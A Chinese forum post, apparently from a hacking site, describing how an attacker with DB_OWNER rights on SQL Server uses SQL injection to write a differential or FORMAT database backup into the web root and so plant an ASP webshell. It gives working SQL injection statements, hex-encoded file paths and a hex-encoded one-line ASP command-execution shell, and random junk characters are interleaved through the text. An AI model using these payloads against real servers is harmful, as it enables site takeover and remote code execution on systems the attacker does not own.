DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

1 k5 G6 y- ^9 L! V- [$ z4 V  H一利用差异备份
' O9 P; C! R5 V加一个参数WITH DIFFERENTIAL
0 C) i3 h6 L  P' \  b
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 Z, ^! I3 M" d2 S0 mcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
+ _1 O/ F/ M+ A% j/ F$ Y0 `  ddeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
/ S" E! S* J$ {8 b# K# k' O( M
6 s! U$ S( f2 b9 ^& E二利用完全FORMAT
/ c4 a% N+ P9 H6 y8 Y加一个参数WITH FROMAT
, R: v6 ?, X( E有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
& B& ~- k! D  p' {0 W% J& {
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4 t. v7 @' k  p# k. i  f7 Vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
7 R6 Q$ r# x" J* a+ p
总的来说就是那么简单几句,下面以备份数据库model为例子
  A) Z% I* K. b/ R. d0 K
id=1;use model create table cmd(str image);insert into cmd(str) values (”)
, T  d5 l; l, ~  L4 A
  o; R  `0 ~; g. R- F! hid=1;backup database model to disk=’你的路径‘ with differential,format;–
' E6 ?. C7 l  g
; I. w; J. x1 H( e  c: a